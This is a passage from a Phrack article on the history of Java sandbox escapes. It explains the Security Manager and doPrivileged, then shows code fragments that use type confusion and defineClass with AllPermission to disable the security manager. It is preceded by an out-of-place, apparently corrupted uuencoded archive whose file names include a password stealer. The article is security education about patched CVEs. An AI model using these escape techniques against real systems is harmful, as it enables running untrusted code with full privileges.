M9&5R<RYF<PH`(````````0`8`,:[:X)Y;M,!=:IJ@GENTP%UJFJ">6[3`5!+ M`0(_`!0````(`'E8ADN`&@,@7@$``',"```C`"0`````````(````,@2``!! M;F%T:&5M82]%4RY!;F%T:&5M82Y#;W)E+TYA=&EV92YF<PH`(````````0`8 M`$$G;()Y;M,!QKMK@GENTP'&NVN">6[3`5!+`0(_`!0``````'E8ADL````` M```````````:`"0`````````$````&<4``!!;F%T:&5M82]%4RY!;F%T:&5M M82Y(;V]K+PH`(````````0`8`)@;;H)Y;M,!F!MN@GENTP$H&&F">6[3`5!+ M`0(_`!0````(`'E8ADL<Y45>F0(``/4%```I`"0`````````(````)\4``!! M;F%T:&5M82]%4RY!;F%T:&5M82Y(;V]K+T%S<V5M8FQY26YF;RYF<PH`(``` M`````0`8`"RK;()Y;M,!^4EL@GENTP'Y26R">6[3`5!+`0(_`!0````(`'E8 MADMY:F]]M00``"P/```Q`"0`````````(````'\7``!!;F%T:&5M82]%4RY! M;F%T:&5M82Y(;V]K+T53+D%N871H96UA+DAO;VLN9G‑P<F]J"@`@```````! M`!@`9_UM@GENTP$G]6R">6[3`2?U;()Y;M,!4$L!`C\`%`````@`>5B&2_NE M9+X(!```N@X``"0`)``````````@````@QP``$%N871H96UA+T53+D%N871H M96UA+DAO;VLO2FET2&]O:RYF<PH`(````````0`8`'"&;H)Y;M,!FP)N@GEN

MTP&;`FZ">6[3`5!+`0(_`!0``````'E8ADL````````````````>`"0````` M````$````,T@``!!;F%T:&5M82]%4RY!;F%T:&5M82Y‑;VYI=&]R<R\*`"`` M``````$`&`#_Z'"">6[3`?_H<()Y;M,!?"‑I@GENTP%02P$"/P`4````"`!Y M6(9+E:2UVIL"```!!@``+0`D`````````"`````)(0``06YA=&AE;6$O15,N M06YA=&AE;6$N36]N:71O<G,O07‑S96UB;'E);F9O+F9S"@`@```````!`!@` M1XMO@GENTP$`C6Z">6[3`0"‑;H)Y;M,!4$L!`C\`%`````@`>5B&2P/SNC7Q M!```F!```#D`)``````````@````[R,``$%N871H96UA+T53+D%N871H96UA M+DUO;FET;W)S+T53+D%N871H96UA+DUO;FET;W)S+F9S<')O:@H`(``````` M`0`8`&MJ<()Y;M,!#<9O@GENTP$‑QF^">6[3`5!+`0(_`!0````(`'E8ADNP MY%(\X0```(0!```N`"0`````````(````#<I``!!;F%T:&5M82]%4RY!;F%T

M:&5M82Y‑;VYI=&]R<R]‑971H;V1‑;VYI=&]R+F9S"@`@```````!`!@`JM=P M@GENTP%K:G"">6[3`6MJ<()Y;M,!4$L!`C\`%`````@`>5B&2_0U4XA^```` MD0```"T`)``````````@````9"H``$%N871H96UA+T53+D%N871H96UA+DUO M;FET;W)S+W!A8VMA9V5S+F‑O;F9I9PH`(````````0`8``U+<8)Y;M,!_^AP M@GENTP'_Z'"">6[3`5!+`0(_`!0``````'E8ADL````````````````=`"0` M````````$````"TK``!!;F%T:&5M82]%4RY!;F%T:&5M82Y2=6YT:6UE+PH` M(````````0`8`)=N=()Y;M,!EVYT@GENTP%"/VF">6[3`5!+`0(_`!0````( M`'E8ADM$9'<SE0(``/X%```L`"0`````````(````&@K``!!;F%T:&5M82]% M4RY!;F%T:&5M82Y2=6YT:6UE+T%S<V5M8FQY26YF;RYF<PH`(````````0`8 M`.0M<H)Y;M,!9Y%Q@GENTP%GD7&">6[3`5!+`0(_`!0````(`'E8ADM>*+TB MQ@0``'`/```W`"0`````````(````$<N``!!;F%T:&5M82]%4RY!;F%T:&5M M82Y2=6YT:6UE+T53+D%N871H96UA+E)U;G1I;64N9G‑P<F]J"@`@```````! M`!@`2:US@GENTP%Z@7*">6[3`7J!<H)Y;M,!4$L!`C\`%`````@`>5B&2U4X M#+?H`P``I@L``"P`)``````````@````8C,``$%N871H96UA+T53+D%N871H M96UA+E)U;G1I;64O365T:&]D1FEL=&5R+F9S"@`@```````!`!@`K&)T@GEN MTP%)K7.">6[3`4FM<X)Y;M,!4$L!`C\`%`````@`>5B&2VU[‑S7($0``UD8` M`#$`)``````````@````E#<``$%N871H96UA+T53+D%N871H96UA+E)U;G1I M;64O4G5N=&EM941I<W!A=&‑H97(N9G,*`"````````$`&`!&K'N">6[3`9=N M=()Y;M,!EVYT@GENTP%02P$"/P`4``````!Y6(9+````````````````$0`D M`````````!````"K20``06YA=&AE;6$O34QO9V=E<B\*`"````````$`&`"( M5HB">6[3`8A6B()Y;M,!0C]I@GENTP%02P$"/P`4````"`!Y6(9+<YRF<8@` M``"Z````&P`D`````````"````#:20``06YA=&AE;6$O34QO9V=E<B]!<'`N M8V]N9FEG"@`@```````!`!@`>`5^@GENTP%(PGN">6[3`4C">X)Y;M,!4$L! M`C\`%`````@`>5B&2["48\'8`0``K@4``"<`)``````````@````FTH``$%N M871H96UA+TU,;V=G97(O365T:&]D3&]G9V5R36]N:71O<BYC<PH`(``````` M`0`8`+ZQ?X)Y;M,!]G]^@GENTP'V?WZ">6[3`5!+`0(_`!0````(`'E8ADNQ M#3<I<00``(0‑```?`"0`````````(````+A,``!!;F%T:&5M82]‑3&]G9V5R M+TU,;V=G97(N8W‑P<F]J"@`@```````!`!@`K2N%@GENTP%.T'^">6[3`4[0 M?X)Y;M,!4$L!`C\`%`````@`>5B&2WT6GD+D````*0$``"0`)``````````@ M````9E$``$%N871H96UA+TU,;V=G97(O34QO9V=E<BYC<W!R;VHN=7‑E<@H` M(````````0`8`(SFA8)Y;M,!Z%:%@GENTP'H5H6">6[3`5!+`0(_`!0````( M`'E8ADL4#B?‑``0``‑4+```;`"0`````````(````(Q2``!!;F%T:&5M82]‑

M3&]G9V5R+U!R;V=R86TN8W,*`"````````$`&`"[#HB">6[3`8SFA8)Y;M,! MC.:%@GENTP%02P$"/P`4``````!Y6(9+````````````````'``D```````` M`!````#%5@``06YA=&AE;6$O34QO9V=E<B]0<F]P97)T:65S+PH`(``````` M`0`8`(%UB()Y;M,!@76(@GENTP&(5HB">6[3`5!+`0(_`!0````(`'E8ADLM MIRX`=`(``)(%```K`"0`````````(````/]6``!!;F%T:&5M82]‑3&]G9V5R M+U!R;W!E<G1I97,O07‑S96UB;'E);F9O+F‑S"@`@```````!`!@`Y@F/@GEN

MTP&!=8B">6[3`8%UB()Y;M,!4$L!`C\`%```````>5B&2P`````````````` M`!4`)``````````0````O%D``$%N871H96UA+TUO8VM,:6)R87)Y+PH`(``` M`````0`8`+Y*IH)Y;M,!ODJF@GENTP$\9&F">6[3`5!+`0(_`!0````(`'E8 MADM*.O&_GP````8!```?`"0`````````(````.]9``!!;F%T:&5M82]‑;V‑K

M3&EB<F%R>2]#;&%S<V5S+F‑S"@`@```````!`!@`!'N2@GENTP&‑5X^">6[3 M`8U7CX)Y;M,!4$L!`C\`%`````@`>5B&2Y*.^M&N`P``X`H``"<`)``````` M```@````RUH``$%N871H96UA+TUO8VM,:6)R87)Y+TUO8VM,:6)R87)Y+F‑S M<')O:@H`(````````0`8`&MIEH)Y;M,!YJ&2@GENTP'FH9*">6[3`5!+`0(_ M`!0````(`'E8ADL@;&ASBP```.P````>`"0`````````(````+Y>``!!;F%T

M:&5M82]‑;V‑K3&EB<F%R>2]‑>45N=6TN8W,*`"````````$`&`""‑Y>">6[3 M`>FGEH)Y;M,!Z:>6@GENTP%02P$"/P`4````"`!Y6(9+?T0Q7K@```!V`0`` M(``D`````````"````"%7P``06YA=&AE;6$O36]C:TQI8G)A<GDO37E3=')U M8W0N8W,*`"````````$`&`!?!YB">6[3`7Q,EX)Y;M,!?$R7@GENTP%02P$" M/P`4``````!Y6(9+````````````````(``D`````````!````![8```06YA

M=&AE;6$O36]C:TQI8G)A<GDO4')O<&5R=&EE<R\*`"````````$`&`#[^J:" M>6[3`?OZIH)Y;M,!!$>8@GENTP%02P$"/P`4````"`!Y6(9+,V;$X'<"``": M!0``+P`D`````````"````"Y8```06YA=&AE;6$O36]C:TQI8G)A<GDO4')O

M<&5R=&EE<R]!<W‑E;6)L>4EN9F\N8W,*`"````````$`&`!`.:R">6[3`?OZ MIH)Y;M,!^_JF@GENTP%02P$"/P`4````"`!Y6(9+1;E^/+(!``#<!```(``D M`````````"````!]8P``06YA=&AE;6$O36]C:TQI8G)A<GDO4V%Y2&5L;&\N M8W,*`"````````$`&`!?0IZ">6[3`1?4F()Y;M,!%]28@GENTP%02P$"/P`4 M````"`!Y6(9+A4:5+P$!```>`@``)0`D`````````"````!M90``06YA=&AE M;6$O36]C:TQI8G)A<GDO4V%Y4W5P97)(96QL;RYC<PH`(````````0`8`$8` MHH)Y;M,!$&:>@GENTP$09IZ">6[3`5!+`0(_`!0````(`'E8ADMB`X!T_0`` M`$8"```C`"0`````````(````+%F``!!;F%T:&5M82]‑;V‑K3&EB<F%R>2]3 M:6UP;&5C;&%S<RYC<PH`(````````0`8`#XWIH)Y;M,!CQ6B@GENTP&/%:*" M>6[3`5!+`0(_`!0````(`'E8ADO!.J?2OP$``$$&```C`"0`````````(``` M`.]G``!!;F%T:&5M82]‑;V‑K3&EB<F%R>2]3=&%T:6‑#;&%S<RYC<PH`(``` M`````0`8`'/FIH)Y;M,!ODJF@GENTP&^2J:">6[3`5!+`0(_`!0``````'E8 MADL````````````````7`"0`````````$````.]I``!!;F%T:&5M82]396‑U M<F5796)3:&]P+PH`(````````0`8`!D:L()Y;M,!&1JP@GENTP$\9&F">6[3 M`5!+`0(_`!0``````'E8ADL````````````````F`"0`````````$````"1J M``!!;F%T:&5M82]396‑U<F5796)3:&]P4&%S<W=O<F13=&5A;&5R+PH`(``` M`````0`8`*J<LX)Y;M,!JIRS@GENTP$N>FF">6[3`5!+`0(_`!0````(`'E8 MADMSG*9QB````+H````P`"0`````````(````&AJ``!!;F%T:&5M82]396‑U M<F5796)3:&]P4&%S<W=O<F13=&5A;&5R+T%P<"YC;VYF:6<*`"````````$`

M&`"\XK*">6[3`71XLH)Y;M,!='BR@GENTP%02P$"/P`4````"`!Y6(9+HYA$ M7)@"``!>!P``,``D`````````"`````^:P``06YA=&AE;6$O4V5C=7)E5V5B M4VAO<%!A<W‑W;W)D4W1E86QE<B]0<F]G<F%M+F‑S"@`@```````!`!@`QE.S M@GENTP&\XK*">6[3`;SBLH)Y;M,!4$L!`C\`%```````>5B&2P`````````` M`````#$`)``````````0````)&X``$%N871H96UA+U‑E8W5R95=E8E‑H;W!0 M87‑S=V]R9%‑T96%L97(O4')O<&5R=&EE<R\*`"````````$`&``‑EK:">6[3 M`0V6MH)Y;M,!QE.S@GENTP%02P$"/P`4````"`!Y6(9+:1JGWX$"``"\!0`` M0``D`````````"````!S;@``06YA=&AE;6$O4V5C=7)E5V5B4VAO<%!A<W‑W M;W)D4W1E86QE<B]0<F]P97)T:65S+T%S<V5M8FQY26YF;RYC<PH`(``````` M`0`8`.P>MX)Y;M,!#9:V@GENTP$‑EK:">6[3`5!+`0(_`!0````(`'E8ADN# M[R3SGP0``$`.``!)`"0`````````(````%)Q``!!;F%T:&5M82]396‑U<F57 M96)3:&]P4&%S<W=O<F13=&5A;&5R+U‑E8W5R95=E8E‑H;W!087‑S=V]R9%‑T M96%L97(N8W‑P<F]J"@`@```````!`!@`3URV@GENTP'‑B;.">6[3`<V)LX)Y M;M,!4$L!`C\`%`````@`>5B&2PZ4U%:+````LP```"$`)``````````@```` M6'8``$%N871H96UA+U‑E8W5R95=E8E‑H;W`O07!P+F‑O;F9I9PH`(``````` M`0`8`(X$KH)Y;M,!48>L@GENTP%1AZR">6[3`5!+`0(_`!0````(`'E8ADLK MDH^OE0(``.P%```F`"0`````````(````")W``!!;F%T:&5M82]396‑U<F57 M96)3:&]P+T%S<V5M8FQY26YF;RYF<PH`(````````0`8`(";KH)Y;M,!]B2N M@GENTP'V)*Z">6[3`5!+`0(_`!0````(`'E8ADL55TA<F````!@!```F`"0` M````````(````/MY``!!;F%T:&5M82]396‑U<F5796)3:&]P+W!A8VMA9V5S M+F‑O;F9I9PH`(````````0`8``+]KH)Y;M,!@)NN@GENTP&`FZZ">6[3`5!+ M`0(_`!0````(`'E8ADMIC16)!`0``.,+```A`"0`````````(````‑=Z``!! M;F%T:&5M82]396‑U<F5796)3:&]P+U!R;V=R86TN9G,*`"````````$`&`"C MM*^">6[3`9H(KX)Y;M,!F@BO@GENTP%02P$"/P`4````"`!Y6(9+.>_$@*T$ M``!#$```*P`D`````````"`````:?P``06YA=&AE;6$O4V5C=7)E5V5B4VAO M<"]396‑U<F5796)3:&]P+F9S<')O:@H`(````````0`8`'1XLH)Y;M,!&1JP M@GENTP$9&K"">6[3`5!+`0(_`!0``````'E8ADL````````````````.`"0` M````````$````!"$``!!;F%T:&5M82]497‑T+PH`(````````0`8`.VXN8)Y M;M,![;BY@GENTP$%CFF">6[3`5!+`0(_`!0````(`'E8ADMSG*9QB````+H` M```8`"0`````````(````#R$``!!;F%T:&5M82]497‑T+T%P<"YC;VYF:6<* M`"````````$`&``%@;>">6[3`:$RMX)Y;M,!H3*W@GENTP%02P$"/P`4```` M"`!Y6(9+=??0Q@P$```<&0``&``D`````````"````#ZA```06YA=&AE;6$O

M5&5S="]0<F]G<F%M+F‑S"@`@```````!`!@`CS*X@GENTP&!E+>">6[3`8&4 MMX)Y;M,!4$L!`C\`%```````>5B&2P```````````````!D`)``````````0 M````/(D``$%N871H96UA+U1E<W0O4')O<&5R=&EE<R\*`"````````$`&`#" MR+N">6[3`<+(NX)Y;M,!‑%JX@GENTP%02P$"/P`4````"`!Y6(9+FZJ>`7$" M``",!0``*``D`````````"````!SB0``06YA=&AE;6$O5&5S="]0<F]P97)T M:65S+T%S<V5M8FQY26YF;RYC<PH`(````````0`8`$ZAO()Y;M,!PLB[@GEN MTP'"R+N">6[3`5!+`0(_`!0````(`'E8ADNV[!\]50$``‑L"```@`"0````` M````(````"J,``!!;F%T:&5M82]497‑T+U‑A>4AE;&QO36]N:71O<BYC<PH` M(````````0`8`!GTN()Y;M,!+VRX@GENTP$O;+B">6[3`5!+`0(_`!0````( M`'E8ADLA?JJ/_00``"(/```9`"0`````````(````+V‑``!!;F%T:&5M82]4 M97‑T+U1E<W0N8W‑P<F]J"@`@```````!`!@`KI&Y@GENTP&#"+F">6[3`8,( MN8)Y;M,!4$L!`C\`%`````@`>5B&2RH1<I$G`0``E`(``"(`)``````````@ M````\9(``$%N871H96UA+U1E<W0O5&5S=$UE=&AO9$UO;FET;W(N8W,*`"`` M``````$`&``_HKN">6[3`>VXN8)Y;M,![;BY@GENTP%02P4&`````#P`/`"]

)&P``6)0`````

`

end

Twenty years of Escaping the Java Sandbox

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x07 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑=[ Twenty years of Escaping the Java Sandbox ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by Ieu Eauvidoum ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ and disk noise ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

1 ‑ Introduction

2 ‑ Background

2.1 ‑ A Brief History of Java Sandbox Exploits

2.2 ‑ The Java Platform

2.3 ‑ The Security Manager

2.4 ‑ The doPrivileged Method

3 ‑ Memory Corruption Vulnerabilities

3.1 ‑ Type Confusion

3.1.1 ‑ Background

3.1.2 ‑ Example: CVE‑2017‑3272

3.1.3 ‑ Discussion

3.2 ‑ Integer Overflow

3.2.1 ‑ Background

3.2.2 ‑ Example: CVE‑2015‑4843

3.2.3 ‑ Discussion

4 ‑ Java Level Vulnerabilities

4.1 ‑ Confused Deputy

4.1.1 ‑ Background

4.1.2 ‑ Example: CVE‑2012‑4681

4.1.3 ‑ Discussion

4.2 ‑ Uninitialized Instance

4.2.1 ‑ Background

4.2.2 ‑ Example: CVE‑2017‑3289

4.2.3 ‑ Discussion

4.3 ‑ Trusted Method Chain

4.3.1 ‑ Background

4.3.2 ‑ Example: CVE‑2010‑0840

4.3.3 ‑ Discussion

4.4 ‑ Serialization

4.4.1 ‑ Background

4.4.2 ‑ Example: CVE‑2010‑0094

4.4.3 ‑ Discussion

5 ‑ Conclusion

6 ‑ References

7 ‑ Attachments

‑‑[ 1 ‑ Introduction

The Java platform is broadly deployed on billions of devices, from servers and desktop workstations to consumer electronics. It was originally designed to implement an elaborate security model, the Java sandbox, that allows for the secure execution of code retrieved from potentially untrusted remote machines without putting the host machine at risk. Concretely, this sandboxing approach is used to secure the execution of untrusted Java applications such as Java applets in the web browser. Unfortunately, critical security bugs ‑‑ enabling a total bypass of the sandbox ‑‑ affected every single major version of the Java platform since its introduction. Despite major efforts to fix and revise the platform's security mechanisms over the course of two decades, critical security vulnerabilities are still being found.

In this work, we review the past and present of Java insecurity. Our goal is to provide an overview of how Java platform security fails, such that we can learn from the past mistakes. All security vulnerabilities presented here are already known and fixed in current versions of the Java runtime, we discuss them for educational purposes only. This case study has been made in the hope that we gain insights that help us design better systems in the future.

‑‑[ 2 ‑ Background

‑‑‑‑[ 2.1 ‑ A Brief History of Java Sandbox Exploits

The first version of Java was released by Sun Microsystems in 1995 [2]. One year later, researchers at Princeton University identified multiple flaws enabling an analyst to bypass the sandbox [3]. The authors identified weaknesses in the language, bytecode and object initialization, to name a few, some of them still present in Java at the time of writing. It is the first time a class spoofing attack against the Java runtime has been detailed. A few years later, in 2002, The Last Stage of Delirium (LSD) research group presented their findings on the security of the Java virtual machine [29]. They detailed vulnerabilities affecting, among others, the bytecode verifier and class loaders leading to type confusion or class spoofing attacks. In 2010, Koivu was the first to publicly show that trusted method chain attacks work against Java by explaining how to exploit the CVE‑2010‑0840 vulnerability he has found [32]. In 2011, Drake described how to exploit memory corruption vulnerabilities in Java [4]. He explains how to exploit CVE‑2009‑3869 and CVE‑2010‑3552, two stack buffer overflow vulnerabilities. In 2012, Guillardoy [5], described CVE‑2012‑4681, two vulnerabilities allowing to bypass the sandbox. The first vulnerability gives access to restricted classes and the second allows to modify private fields. Also in 2012, Oh described how to exploit the vulnerability of CVE‑2012‑0507 to perform a type confusion attack to bypass the Java sandbox [6]. In 2013, Gorenc and Spelman performed a large scale study of 120 Java vulnerabilities and conclude that unsafe reflection is the most common vulnerability in Java but that type confusion is the most common exploited vulnerability [8]. Still in 2013, Lee and Nie identified multiple vulnerabilities including a vulnerability in a native method enabling the bypass of the sandbox [9]. Again in 2013, Kaiser described, among others, CVE‑2013‑1438 a trusted method chain vulnerability found by James Forshaw and CVE‑2012‑5088 a Java reflection vulnerability found by Security Explorations. Between 2012 and 2013, security researchers at Security Explorations discovered more than 20 Java vulnerabilities [7]. Starting in 2014, the developers of main web browsers such as Chrome or Firefox decided to disable NAPI by default (hence no Java code can be executed by default) [11] [12]. The attack surface of Java being reduced, it seems that less research on Java sandbox bypass is being conducted. However, exploits bypassing the sandbox still pop up once in a while. For instance, in 2018, Lee describes how to exploit CVE‑2018‑2826, a type confusion vulnerability found by XOR19 [18].

‑‑‑‑[ 2.2 ‑ The Java Platform

The Java platform can be divided into two abstract components: the Java Virtual Machine (JVM), and the Java Class Library (JCL).

The JVM is the core of the platform. It is implemented in native code and provides all the basic functionality required for program execution, such as a bytecode parser, JIT compiler, garbage collector, and so forth. Due to the fact that it is implemented natively, it is also subject to the same attacks like any other native binary, including memory corruption vulnerabilities such as buffer overflows [1], for example.

The JCL is the standard library that ships together with the JVM. It comprises hundreds of system classes, primarily implemented in Java, with smaller portions being implemented natively. As all system classes are trusted, they are associated with all privileges by default. These privileges give them full access to any sort of functionality (filesystem read/write, full access to the network, etc.), and hence full access to the host machine. Consequently, any security bug in a system class can potentially be used by analysts to break out of the sandbox.

The main content of this paper is thus separated into two larger sections one dealing with memory corruption vulnerabilities, and the other one focussing on vulnerabilities at the Java level.

‑‑‑‑[ 2.3 ‑ The Security Manager

In the code of the JCL, the sandbox is implemented with authorization checks, most of them being permission checks. For instance, before any access to the filesystem, code in the JCL checks that the caller has the right permission to access the filesystem. Below is an example checking the read permission on a file in class _java.io.FileInputStream_. The constructor checks that the caller has the read permission to read the specified file on line 5.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: public FileInputStream(File file) throws FileNotFoundException { 2: String name = (file != null ? file.getPath() : null); 3: SecurityManager security = System.getSecurityManager(); 4: if (security != null) {

5: security.checkRead(name);

6: }

7: if (name == null) {

8: throw new NullPointerException();

9: }

10: if (file.isInvalid()) {

11: throw new FileNotFoundException("Invalid file path"); 12: }

13: fd = new FileDescriptor();

14: fd.incrementAndGetUseCount();

15: this.path = name;

16: open(name);

17: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note that for performance reasons, authorizations are only checked if a security manager has been set (lines 3‑4). A typical attack to escape the Java sandbox thus aims at setting the security manager to null. This effectively disables all authorization checks. Without security manager set, the analyst can execute any code as if it had all authorizations.

However, authorizations are only checked at the Java level. Native code executes with all authorizations. Although it might be possible to directly execute arbitrary analyst's controlled native code when exploiting memory corruption vulnerabilities, in all the examples of this paper we focus on disabling the security manager to be able to execute arbitrary Java code with all permissions.

‑‑‑‑[ 2.4 ‑ The doPrivileged Method

When a permission "P" is checked, the JVM checks that every element of the call stack has permission "P". If one element does not have "P", a security exception is thrown. This approach works fine most of the time. However, some method m1() in the JCL which does not require a permission to be called might need to call another method m2() in the JCL which in turn requires a permission "P2". With the approach above, if method main() in a user class with no permission calls m1(), a security exception is thrown by the JVM, because of the follow‑up call to m2() in m1(). Indeed, during the call stack walk, m1() and m2() have the required permission, because they belong to trusted classes in the JCL, but main() does not have the permission.

The solution is to wrap the call in m1() to m2() inside a doPrivileged() call. Thus, when "P2" is checked, the stack walk stops at the method calling doPrivileged(), here m1(). Since m1() is a method in the JCL, it has all permissions. Thus, the check succeeds and the stack walk stops.

A real‑world example is method unaligned() in _java.nio.Bits_. It deals with network streams and has to know the architecture of the processor. Getting this information, however, requires the "get_property" permission which the user code might not have. Calling unaligned() from an untrusted class would thus fail in this case due to the permission check. Thus, the code in unaligned() which retrieves information about the processor architecture is wrapped in a doPrivileged call, as illustrated below (lines 4‑5):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: static boolean unaligned() {

2: if (unalignedKnown)

3: return unaligned;

4: String arch = AccessController.doPrivileged(

5: new sun.security.action.GetPropertyAction("os.arch")); 6: unaligned = arch.equals("i386") || arch.equals("x86") 7: || arch.equals("amd64") || arch.equals("x86_64"); 8: unalignedKnown = true;

9: return unaligned;

10: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When the "get_property" permission is checked, the stack walk checks methods down to Bits.unaligned() and then stops.

‑‑[ 3 ‑ Memory Corruption Vulnerabilities

‑‑‑‑[ 3.1 ‑ Type Confusion

‑‑‑‑‑‑[ 3.1.1 ‑ Background

The first memory corruption vulnerability that we describe is a type confusion vulnerability [13]. Numerous Java exploits rely on a type confusion vulnerability to escape the sandbox [16] [17] and more recently [18]. In a nutshell, when there is a type confusion, the VM believes an object is of type _A_ while in reality the object is of type _B_. How can this be used to disable the security manager?

The answer is that a type confusion vulnerability can be used to access methods that would otherwise be out of reach for an analyst without permission. The typical method that an analyst targets is the defineClass() method of the _ClassLoader_ class. Why? Well, this method allows to define a custom class (thus potentially analyst controlled) with all permissions. The analyst would thus create and then execute his own newly defined class which contains code to disable the security manager to bypass all authorization checks.

Method defineClass() is 'protected' and thus can only be called from methods in class _ClassLoader_ or a subclass of _ClassLoader_. Since the analyst cannot modify methods in _ClassLoader_, his only option is to subclass _ClassLoader_ to be able to call defineClass(). Instantiating a subclass of _ClassLoader_ directly from code with no permission would, however, trigger a security exception because the constructor of _ClassLoader_ checks for permission "Create_ClassLoader". The trick is for the analyst to define a class extending _ClassLoader_, such as _Help_ class below, and add a static method with an object of type _Help_ as parameter. The analyst then retrieves an existing _ClassLoader_ instance from the environment and uses type confusion to "cast" it to _Help_. With this approach, the JVM thinks that h of method doWork() (line 4 below) is a subclass of _ClassLoader_ (while its real type is _ClassLoader_) and thus the protected method defineClass() becomes available to the analyst (a protected method in Java is accessible from a subclass).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: public class Help extends ClassLoader implements

2: Serializable {

3:

4: public static void doWork(Help h) throws Throwable { 5:

6: byte[] buffer = BypassExploit.getDefaultHelper(); 7: URL url = new URL("file:///");

8: Certificate[] certs = new Certificate[0];

9: Permissions perm = new Permissions();

10: perm.add(new AllPermission());

11: ProtectionDomain protectionDomain = new ProtectionDomain( 12: new CodeSource(url, certs), perm);

13:

14: Class cls = h.defineClass("DefaultHelper", buffer, 0, 15: buffer.length, protectionDomain);

16: cls.newInstance();

17:

18: }

19: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

More precisely, using a type confusion vulnerability, the analyst can disable the sandbox in three steps. Firstly, the analyst can retrieve the application class loader as follows (this step does not require a permission):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Object cl = Help.class.getClassLoader();

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Secondly, using the type confusion vulnerability, he can make the VM think that object cl is of type _Help_.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Help h = use_type_confusion_to_convert_to_Help(cl);

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Thirdly, he provides h as an argument to the static method doWork() in _Help_, which disables the security manager.

The doWork() method first loads, but does not yet execute, the bytecode of the analyst controlled _DefaultHelper_ class in buffer (line 6 in the listing above). As shown below, this class disables the security manager within a doPrivileged() block in its constructor. The doPrivileged() block is necessary to prevent that the entire call stack is checked for permissions, because main() is part of the call sequence, which has no permissions.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: public class DefaultHelper implements PrivilegedExceptionAction<Void> { 2: public DefaultHelper() {

3: AccessController.doPrivileged(this);

4: }

5:

6: public Void run() throws Exception {

7: System.setSecurityManager(null);

8: }

9: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

After loading the bytecode, it creates a protection domain with all permissions (lines 7‑12). Finally, it calls defineClass() on h (line 14‑15). This call works because the VM thinks h is of type _Help_. In reality, h is of type _ClassLoader_. However, since method defineClass() is defined in class _ClassLoader_ as a protected method, the call is successfull. At this point the analyst has loaded his own class with all privileges. The last step (line 16) is to instantiate the class to trigger the call to the run() method which disables the security manager. When the security manager is disabled, the analyst can execute any Java code as if it had all permissions.

‑‑‑‑‑‑[ 3.1.2 ‑ Example: CVE‑2017‑3272

The previous section explaind what a type confusion vulnerability is and how an analyst can exploit it to disable the security manager. This section provides an example, explaining how CVE‑2017‑3272 can be used to implement such an attack.

Redhat's bugzilla [14] provides the following technical details on CVE‑2017‑3272:

"It was discovered that the atomic field updaters in the _java.util.concurrent.atomic_ package in the Libraries component of OpenJDK did not properly restrict access to protected field members. An untrusted Java application or applet could use this flaw to bypass Java sandbox restrictions."

This indicates that the vulnerable code lies in the _java.util.concurrent.atomic.package_ and that is has something to do with accessing a protected field. The page also links to the OpenJDK's patch "8165344: Update concurrency support". This patch modifies the _AtomicIntegerFieldUpdater_, _AtomicLongFieldUpdater_ and _AtomicReferenceFieldUpdater_ classes. What are these classes used for?

To handle concurrent modifications of fields, Java provides _AtomicLong_, _AtomicInt_ and _AtomicBoolean_, etc... For instance, in order to create ten million _long_ fields on which concurrent modifications can be performed, ten million _AtomicLong_ objects have to be instantiated. As a single instance of _AtomicLong_ takes 24 bytes + 4 bytes for the reference to the instance = 28 bytes [15], ten million instances of _AtomicLong_ represent 267 Mib.

